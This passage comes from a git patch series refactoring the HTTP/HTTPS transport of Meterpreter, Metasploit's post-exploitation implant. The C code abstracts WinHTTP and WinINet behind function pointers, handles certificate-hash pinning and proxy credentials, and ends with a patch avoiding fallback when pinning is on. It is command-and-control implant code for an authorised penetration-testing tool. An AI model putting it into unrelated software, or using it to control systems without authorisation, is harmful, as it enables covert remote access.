(!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) + { + dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + + DWORD dwHashSize = 20; + BYTE hash[20]; + if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) + { + dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + + if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0) + { + dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10], + hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]); + + dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out"); + return ERROR_WINHTTP_SECURE_INVALID_CERT; + } + } + + return ERROR_SUCCESS; } /*! @@ -152,11 +265,11 @@ static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *directio * @return An indication of the result of processing the transmission request. * @remark This function is not available on POSIX. */ -static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketRequestCompletion *completion) +static DWORD packet_transmit_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion) { DWORD res = 0; HINTERNET hReq; - BOOL hRes; + BOOL result; DWORD retries = 5; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; unsigned char *buffer; @@ -173,17 +286,15 @@ static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, Pa do { - hReq = get_winhttp_req(ctx, "PACKET TRANSMIT"); + hReq = ctx->create_req(ctx, "PACKET TRANSMIT"); if (hReq == NULL) { break; } - hRes = WinHttpSendRequest(hReq, NULL, 0, buffer, - packet->payloadLength + sizeof(TlvHeader), - packet->payloadLength + sizeof(TlvHeader), 0); + result = ctx->send_req(hReq, buffer, packet->payloadLength + sizeof(TlvHeader)); - if (!hRes) + if (!result) { dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); @@ -194,7 +305,7 @@ static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, Pa } while(0); memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader)); - WinHttpCloseHandle(hReq); + ctx->close_req(hReq); return res; } @@ -267,7 +378,7 @@ static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequ } dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength); - res = packet_transmit_via_http_winhttp(remote, packet, completion); + res = packet_transmit_http(remote, packet, completion); if (res < 0) { dprintf("[PACKET] transmit failed with return %d\n", res); @@ -288,13 +399,13 @@ static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequ } /*! - * @brief Windows-specific function to receive a new packet via WinHTTP. + * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). * @param remote Pointer to the \c Remote instance. * @param packet Pointer to a pointer that will receive the \c Packet data. * @return An indication of the result of processing the transmission request. * @remark This function is not available in POSIX. */ -static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) +static DWORD packet_receive_http(Remote *remote, Packet **packet) { DWORD headerBytes = 0, payloadBytesLeft = 0, res; CryptoContext *crypto = NULL; @@ -314,113 +425,54 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) do { - hReq = get_winhttp_req(ctx, "PACKET RECEIVE"); + hReq = ctx->create_req(ctx, "PACKET RECEIVE"); if (hReq == NULL) { break; } - vdprintf("[PACKET RECEIVE WINHTTP] sending the 'RECV' command..."); + vdprintf("[PACKET RECEIVE HTTP] sending the 'RECV' command..."); // TODO: when the MSF side supports it, update this so that it's UTF8 DWORD recv = 'VCER'; - hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, &recv, - sizeof(recv), sizeof(recv), 0); + hRes = ctx->send_req(hReq, &recv, sizeof(recv)); if (!hRes) { - dprintf("[PACKET RECEIVE WINHTTP] Failed WinHttpSendRequest: %d %d", GetLastError(), WSAGetLastError()); + dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); SetLastError(ERROR_NOT_FOUND); break; } - vdprintf("[PACKET RECEIVE WINHTTP] Waiting to see the response ..."); - if (!WinHttpReceiveResponse(hReq, NULL)) + vdprintf("[PACKET RECEIVE HTTP] Waiting to see the response ..."); + if (ctx->receive_response && !ctx->receive_response(hReq)) { - vdprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError()); + vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); break; } - DWORD statusCode; - DWORD statusCodeSize = sizeof(statusCode); - vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); - if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) + SetLastError(ctx->validate_response(hReq, ctx)); + + if (GetLastError() != ERROR_SUCCESS) { - vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); - - // did the request succeed? - if (statusCode != 200) - { - // There are a few reasons why this could fail, including proxy related stuff. - // If we fail, we're going to fallback to WinINET and see if that works instead. - // there could be a number of reasons for failure, but we're only going to try - // to handle the case where proxy authentication fails. We'll indicate failure and - // let the switchover happen for us. - SetLastError(ERROR_WINHTTP_CANNOT_CONNECT); - break; - } + // something went wrong, so break + break; } - if (ctx->cert_hash != NULL) - { - vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); - PCERT_CONTEXT pCertContext = NULL; - DWORD dwCertContextSize = sizeof(pCertContext); - - if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) - { - dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); - SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT); - break; - } - - DWORD dwHashSize = 20; - BYTE hash[20]; - if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) - { - dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); - SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT); - break; - } - - if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0) - { - dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10], - hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]); - - dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out"); - SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT); - break; - } - } - -#ifdef DEBUGTRACE - DWORD dwSize = 0; - if (!WinHttpQueryDataAvailable(hReq, &dwSize)) - { - vdprintf("[PACKET RECEIVE WINHTTP] WinHttpQueryDataAvailable failed: %x", GetLastError()); - } - else - { - vdprintf("[PACKET RECEIVE WINHTTP] Available data: %u bytes", dwSize); - } -#endif - // Read the packet length retries = 3; - vdprintf("[PACKET RECEIVE WINHTTP] Start looping through the receive calls"); + vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); while (inHeader && retries > 0) { retries--; - if (!WinHttpReadData(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead)) + if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead)) { - dprintf("[PACKET RECEIVE] Failed HEADER WinhttpReadData: %d", GetLastError()); + dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); break; } - vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead); + vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); // If the response contains no data, this is fine, it just means the // remote side had nothing to tell us. Indicate this through a @@ -448,13 +500,13 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) if (headerBytes != sizeof(TlvHeader)) { - dprintf("[PACKET RECEIVE WINHTTP] headerBytes no valid"); + dprintf("[PACKET RECEIVE HTTP] headerBytes no valid"); SetLastError(ERROR_NOT_FOUND); break; } // Initialize the header - vdprintf("[PACKET RECEIVE WINHTTP] initialising header"); + vdprintf("[PACKET RECEIVE HTTP] initialising header"); header.length = header.length; header.type = header.type; payloadLength = ntohl(header.length) - sizeof(TlvHeader); @@ -471,23 +523,23 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) retries = payloadBytesLeft; while (payloadBytesLeft > 0 && retries > 0) { - vdprintf("[PACKET RECEIVE WINHTTP] reading more data from the body..."); + vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); retries--; - if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) + if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) { - dprintf("[PACKET RECEIVE] Failed BODY WinHttpReadData: %d", GetLastError()); + dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); break; } if (!bytesRead) { - vdprintf("[PACKET RECEIVE WINHTTP] no bytes read, bailing out"); + vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); SetLastError(ERROR_NOT_FOUND); break; } - vdprintf("[PACKET RECEIVE WINHTTP] bytes read: %u", bytesRead); + vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); payloadBytesLeft -= bytesRead; } @@ -554,7 +606,7 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) if (hReq) { - WinHttpCloseHandle(hReq); + ctx->close_req(hReq); } lock_release(remote->lock); @@ -569,7 +621,7 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet) * @param sock Reference to the original socket FD passed to metsrv (ignored); * @return Indication of success or failure. */ -static BOOL server_init_http(Transport* transport) +static BOOL server_init_winhttp(Transport* transport) { URL_COMPONENTS bits; wchar_t tmpHostName[URL_SIZE]; @@ -642,17 +694,17 @@ static DWORD server_deinit_http(Transport* transport) { HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - dprintf("[WINHTTP] Deinitialising ..."); + dprintf("[HTTP] Deinitialising ..."); if (ctx->connection) { - WinHttpCloseHandle(ctx->connection); + ctx->close_req(ctx->connection); ctx->connection = NULL; } if (ctx->internet) { - WinHttpCloseHandle(ctx->internet); + ctx->close_req(ctx->internet); ctx->internet = NULL; } @@ -706,7 +758,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) } dprintf("[DISPATCH] Reading data from the remote side..."); - result = packet_receive_http_via_winhttp(remote, &packet); + result = packet_receive_http(remote, &packet); if (result != ERROR_SUCCESS) { @@ -734,6 +786,11 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) result = ERROR_SUCCESS; break; } + else if (result == ERROR_BAD_CONFIGURATION) + { + // something went wrong with WinINET so break. + break; + } delay = 10 * ecount; if (ecount >= 10) @@ -925,6 +982,13 @@ Transport* transport_create_http(MetsrvTransportHttp* config) memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); } + ctx->create_req = get_request_winhttp; + ctx->send_req = send_request_winhttp; + ctx->close_req = close_request_winhttp; + ctx->validate_response = validate_response_winhttp; + ctx->receive_response = receive_response_winhttp; + ctx->read_response = read_response_winhttp; + transport->timeouts.comms = config->common.comms_timeout; transport->timeouts.retry_total = config->common.retry_total; transport->timeouts.retry_wait = config->common.retry_wait; @@ -932,7 +996,7 @@ Transport* transport_create_http(MetsrvTransportHttp* config) ctx->url = transport->url = _wcsdup(config->common.url); transport->packet_transmit = packet_transmit_via_http; transport->server_dispatch = server_dispatch_http; - transport->transport_init = server_init_http; + transport->transport_init = server_init_winhttp; transport->transport_deinit = server_deinit_http; transport->transport_destroy = transport_destroy_http; transport->ctx = ctx; diff --git a/c/meterpreter/source/server/win/server_transport_wininet.c b/c/meterpreter/source/server/win/server_transport_wininet.c index 1999248f..3482682f 100755 --- a/c/meterpreter/source/server/win/server_transport_wininet.c +++ b/c/meterpreter/source/server/win/server_transport_wininet.c @@ -1,8 +1,6 @@ /*! * @file server_transport_wininet.c */ -//#include "../../common/common.h" -//#include "../../common/config.h" #include "metsrv.h" #include @@ -12,7 +10,7 @@ * @param direction String representing the direction of the communications (for debug). * @return An Internet request handle. */ -static HINTERNET get_wininet_req(HttpTransportContext *ctx, const char *direction) +static HINTERNET get_request_wininet(HttpTransportContext *ctx, const char *direction) { HINTERNET hReq = NULL; DWORD flags = INTERNET_FLAG_RELOAD @@ -70,360 +68,65 @@ static HINTERNET get_wininet_req(HttpTransportContext *ctx, const char *directio } /*! - * @brief Windows-specific function to transmit a packet via HTTP(s) using wininet _and_ destroy it. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the \c Packet that is to be sent. - * @param completion Pointer to the completion routines to process. - * @return An indication of the result of processing the transmission request. - * @remark This function is not available on POSIX. + * @brief Wrapper around WinINET-specific request handle closing functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of sending the request. */ -static DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion) +static BOOL close_request_wininet(HANDLE hReq) { - DWORD res = 0; - HINTERNET hReq; - BOOL hRes; - DWORD retries = 5; - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - unsigned char *buffer; - - buffer = malloc(packet->payloadLength + sizeof(TlvHeader)); - if (!buffer) - { - SetLastError(ERROR_NOT_FOUND); - return 0; - } - - memcpy(buffer, &packet->header, sizeof(TlvHeader)); - memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength); - - do - { - hReq = get_wininet_req(ctx, "PACKET TRANSMIT"); - if (hReq == NULL) - { - break; - } - - hRes = HttpSendRequestW(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader)); - - if (!hRes) - { - dprintf("[PACKET TRANSMIT] Failed HttpSendRequestW: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - dprintf("[PACKET TRANSMIT] request sent.. apparently"); - } while(0); - - memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader)); - InternetCloseHandle(hReq); - return res; + return InternetCloseHandle(hReq); } /*! - * @brief Transmit a packet via HTTP(s) _and_ destroy it. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the \c Packet that is to be sent. - * @param completion Pointer to the completion routines to process. - * @return An indication of the result of processing the transmission request. + * @brief Wrapper around WinINET-specific response data reading functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the data buffer. + * @param bytesToRead The number of bytes to read. + * @param bytesRead The number of bytes actually read. + * @return An indication of the result of sending the request. */ -static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion) +static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) { - CryptoContext *crypto; - Tlv requestId; - DWORD res; - - lock_acquire(remote->lock); - - // If the packet does not already have a request identifier, create one for it - if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) - { - DWORD index; - CHAR rid[32]; - - rid[sizeof(rid)-1] = 0; - - for (index = 0; index < sizeof(rid)-1; index++) - { - rid[index] = (rand() % 0x5e) + 0x21; - } - - packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); - } - - do - { - // If a completion routine was supplied and the packet has a request - // identifier, insert the completion routine into the list - if ((completion) && - (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, - &requestId) == ERROR_SUCCESS)) - { - packet_add_completion_handler((LPCSTR)requestId.buffer, completion); - } - - // If the endpoint has a cipher established and this is not a plaintext - // packet, we encrypt - if ((crypto = remote_get_cipher(remote)) && - (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) && - (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE)) - { - ULONG origPayloadLength = packet->payloadLength; - PUCHAR origPayload = packet->payload; - - // Encrypt - if ((res = crypto->handlers.encrypt(crypto, packet->payload, - packet->payloadLength, &packet->payload, - &packet->payloadLength)) != - ERROR_SUCCESS) - { - SetLastError(res); - break; - } - - // Destroy the original payload as we no longer need it - free(origPayload); - - // Update the header length - packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader)); - } - - dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength); - res = packet_transmit_via_http_wininet(remote, packet, completion); - if (res < 0) - { - dprintf("[PACKET] transmit failed with return %d\n", res); - break; - } - - SetLastError(ERROR_SUCCESS); - } while (0); - - res = GetLastError(); - - // Destroy the packet - packet_destroy(packet); - - lock_release(remote->lock); - - return res; + return InternetReadFile(hReq, buffer, bytesToRead, bytesRead); } /*! - * @brief Windows-specific function to receive a new packet via WinInet. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - * @remark This function is not available in POSIX. + * @brief Wrapper around WinINET-specific sending functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the buffer to receive the data. + * @param size Buffer size. + * @return An indication of the result of sending the request. */ -static DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) +static BOOL send_request_wininet(HANDLE hReq, LPVOID buffer, DWORD size) { - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - CryptoContext *crypto = NULL; - Packet *localPacket = NULL; - TlvHeader header; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR payload = NULL; - ULONG payloadLength; - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - HINTERNET hReq; - BOOL hRes; - DWORD retries = 5; - - lock_acquire(remote->lock); - - do - { - hReq = get_wininet_req(ctx, "PACKET RECEIVE"); - if (hReq == NULL) - { - break; - } - - vdprintf("[PACKET RECEIVE WININET] sending the 'RECV' command..."); - DWORD recv = 'VCER'; - hRes = HttpSendRequestW(hReq, NULL, 0, &recv, sizeof(recv)); - if (!hRes) - { - dprintf("[PACKET RECEIVE WININET] Failed HttpSendRequestW: %d %d", GetLastError(), WSAGetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - DWORD statusCode; - DWORD statusCodeSize = sizeof(statusCode); - vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); - if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) - { - vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); - - // did the request succeed? - if (statusCode != 200) - { - // bomb out - SetLastError(ERROR_HTTP_INVALID_SERVER_RESPONSE); - break; - } - } - - // Read the packet length - retries = 3; - vdprintf("[PACKET RECEIVE WININET] Start looping through the receive calls"); - while (inHeader && retries > 0) - { - retries--; - if (!InternetReadFile(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead)) - { - dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - vdprintf("[PACKET RECEIVE WININET] Data received: %u bytes", bytesRead); - - // If the response contains no data, this is fine, it just means the - // remote side had nothing to tell us. Indicate this through a - // ERROR_EMPTY response code so we can update the timestamp. - if (bytesRead == 0) - { - SetLastError(ERROR_EMPTY); - break; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(TlvHeader)) - { - continue; - } - - inHeader = FALSE; - } - - if (GetLastError() == ERROR_EMPTY) - { - break; - } - - if (headerBytes != sizeof(TlvHeader)) - { - dprintf("[PACKET RECEIVE WININET] headerBytes no valid"); - SetLastError(ERROR_NOT_FOUND); - break; - } - - // Initialize the header - vdprintf("[PACKET RECEIVE WININET] initialising header"); - header.length = header.length; - header.type = header.type; - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(payload = (PUCHAR)malloc(payloadLength))) - { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - break; - } - - // Read the payload - retries = payloadBytesLeft; - while (payloadBytesLeft > 0 && retries > 0) - { - vdprintf("[PACKET RECEIVE WININET] reading more data from the body..."); - retries--; - if (!InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) - { - dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - if (!bytesRead) - { - vdprintf("[PACKET RECEIVE WININET] no bytes read, bailing out"); - SetLastError(ERROR_NOT_FOUND); - break; - } - - vdprintf("[PACKET RECEIVE WININET] bytes read: %u", bytesRead); - payloadBytesLeft -= bytesRead; - } - - // Didn't finish? - if (payloadBytesLeft) - { - break; - } - - // Allocate a packet structure - if (!(localPacket = (Packet *)malloc(sizeof(Packet)))) - { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - break; - } - - memset(localPacket, 0, sizeof(Packet)); - - // If the connection has an established cipher and this packet is not - // plaintext, decrypt - if ((crypto = remote_get_cipher(remote)) && - (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) && - (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE)) - { - ULONG origPayloadLength = payloadLength; - PUCHAR origPayload = payload; - - // Decrypt - if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS) - { - SetLastError(res); - break; - } - - // We no longer need the encrypted payload - free(origPayload); - } - - localPacket->header.length = header.length; - localPacket->header.type = header.type; - localPacket->payload = payload; - localPacket->payloadLength = payloadLength; - - *packet = localPacket; - - SetLastError(ERROR_SUCCESS); - - } while (0); - - res = GetLastError(); - - // Cleanup on failure - if (res != ERROR_SUCCESS) - { - if (payload) - { - free(payload); - } - if (localPacket) - { - free(localPacket); - } - } - - if (hReq) - { - InternetCloseHandle(hReq); - } - - lock_release(remote->lock); - - return res; + return HttpSendRequestW(hReq, NULL, 0, buffer, size); } +/*! + * @brief Wrapper around WinINET-specific request response validation. + * @param hReq HTTP request handle. + * @param ctx The HTTP transport context. + * @return An indication of the result of getting a response. + */ +static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) +{ + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); + if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) + { + vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // bomb out + return ERROR_BAD_CONFIGURATION; + } + } + + return ERROR_SUCCESS; +} /*! * @brief Initialise the HTTP(S) connection. @@ -431,7 +134,7 @@ static DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) * @param sock Reference to the original socket FD passed to metsrv (ignored); * @return Indication of success or failure. */ -static BOOL server_init_http(Transport* transport) +static BOOL server_init_wininet(Transport* transport) { URL_COMPONENTS bits; wchar_t tmpHostName[URL_SIZE]; @@ -494,11 +197,11 @@ static BOOL server_init_http(Transport* transport) { if (ctx->proxy_user) { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, wcslen(ctx->proxy_user)); + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); } if (ctx->proxy_pass) { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, wcslen(ctx->proxy_pass)); + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); } } @@ -507,156 +210,20 @@ static BOOL server_init_http(Transport* transport) return TRUE; } -/*! - * @brief Deinitialise the HTTP(S) connection. - * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. - * @return Indication of success or failure. - */ -static DWORD server_deinit_http(Transport* transport) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WININET] Deinitialising ..."); - - if (ctx->connection) - { - InternetCloseHandle(ctx->connection); - ctx->connection = NULL; - } - - if (ctx->internet) - { - InternetCloseHandle(ctx->internet); - ctx->internet = NULL; - } - - return TRUE; -} - -/*! - * @brief The servers main dispatch loop for incoming requests using HTTP(S). - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main dispatch thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) -{ - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet* packet = NULL; - THREAD* cpt = NULL; - DWORD ecount = 0; - DWORD delay = 0; - Transport* transport = remote->transport; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - while (running) - { - if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) - { - dprintf("[DISPATCH] Shutting down server due to communication timeout"); - break; - } - - if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) - { - dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); - dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); - break; - } - - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - dprintf("[DISPATCH] Reading data from the remote side..."); - result = packet_receive_http_via_wininet(remote, &packet); - - if (result != ERROR_SUCCESS) - { - // Update the timestamp for empty replies - if (result == ERROR_EMPTY) - { - transport->comms_last_packet = current_unix_timestamp(); - } - else if (result == ERROR_HTTP_INVALID_SERVER_RESPONSE) - { - // if we have WinInet problems, it's game over - break; - } - - delay = 10 * ecount; - if (ecount >= 10) - { - delay *= 10; - } - - ecount++; - - dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); - Sleep(min(10000, delay)); - } - else - { - transport->comms_last_packet = current_unix_timestamp(); - - // Reset the empty count when we receive a packet - ecount = 0; - - dprintf("[DISPATCH] Returned result: %d", result); - - running = command_handle(remote, packet); - dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - - if (ctx->new_uri != NULL) - { - dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); - dprintf("[DISPATCH] Old URI is: %S", ctx->uri); - dprintf("[DISPATCH] Old URL is: %S", transport->url); - - // if the new URI needs more space, let's realloc space for the new URL now - int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); - if (diff > 0) - { - dprintf("[DISPATCH] New URI is bigger by %d", diff); - transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); - } - - // we also need to patch the new URI into the original transport URL, not just the currently - // active URI for comms. If we don't, then migration behaves badly. - // Start by locating the start of the URI in the current URL, by finding the third slash - wchar_t* csr = transport->url + wcslen(transport->url) - 2; - while (*csr != L'/') - { - --csr; - } - dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); - - // patch in the new URI - wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); - dprintf("[DISPATCH] New URL is: %S", transport->url); - - // clean up - SAFE_FREE(ctx->uri); - ctx->uri = ctx->new_uri; - ctx->new_uri = NULL; - } - } - } - - return result; -} - /*! * @brief Take over control from the WinINET transport. * @param transport Pointer to the transport to hijack. */ void transport_move_to_wininet(Transport* transport) { - transport->packet_transmit = packet_transmit_via_http; - transport->server_dispatch = server_dispatch_http; - transport->transport_init = server_init_http; - transport->transport_deinit = server_deinit_http; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + ctx->create_req = get_request_wininet; + ctx->send_req = send_request_wininet; + ctx->close_req = close_request_wininet; + ctx->validate_response = validate_response_wininet; + ctx->receive_response = NULL; + ctx->read_response = read_response_wininet; + + transport->transport_init = server_init_wininet; } From 863138d803e63a3e504bc1f7ba8a8335a8b4f14d Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 4 Jul 2015 14:45:49 +1000 Subject: [PATCH 3/3] Avoid fallback when SSL cert verification is on This is to avoid unintended MITM when Meterpreter is configured in paranoid mode. --- c/meterpreter/source/server/win/server_transport_winhttp.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/server/win/server_transport_winhttp.c index 70fd2419..e0e24eb9 100755 --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/server/win/server_transport_winhttp.c @@ -213,7 +213,11 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) // there could be a number of reasons for failure, but we're only going to try // to handle the case where proxy authentication fails. We'll indicate failure and // let the switchover happen for us. - if (statusCode == 407) + + // 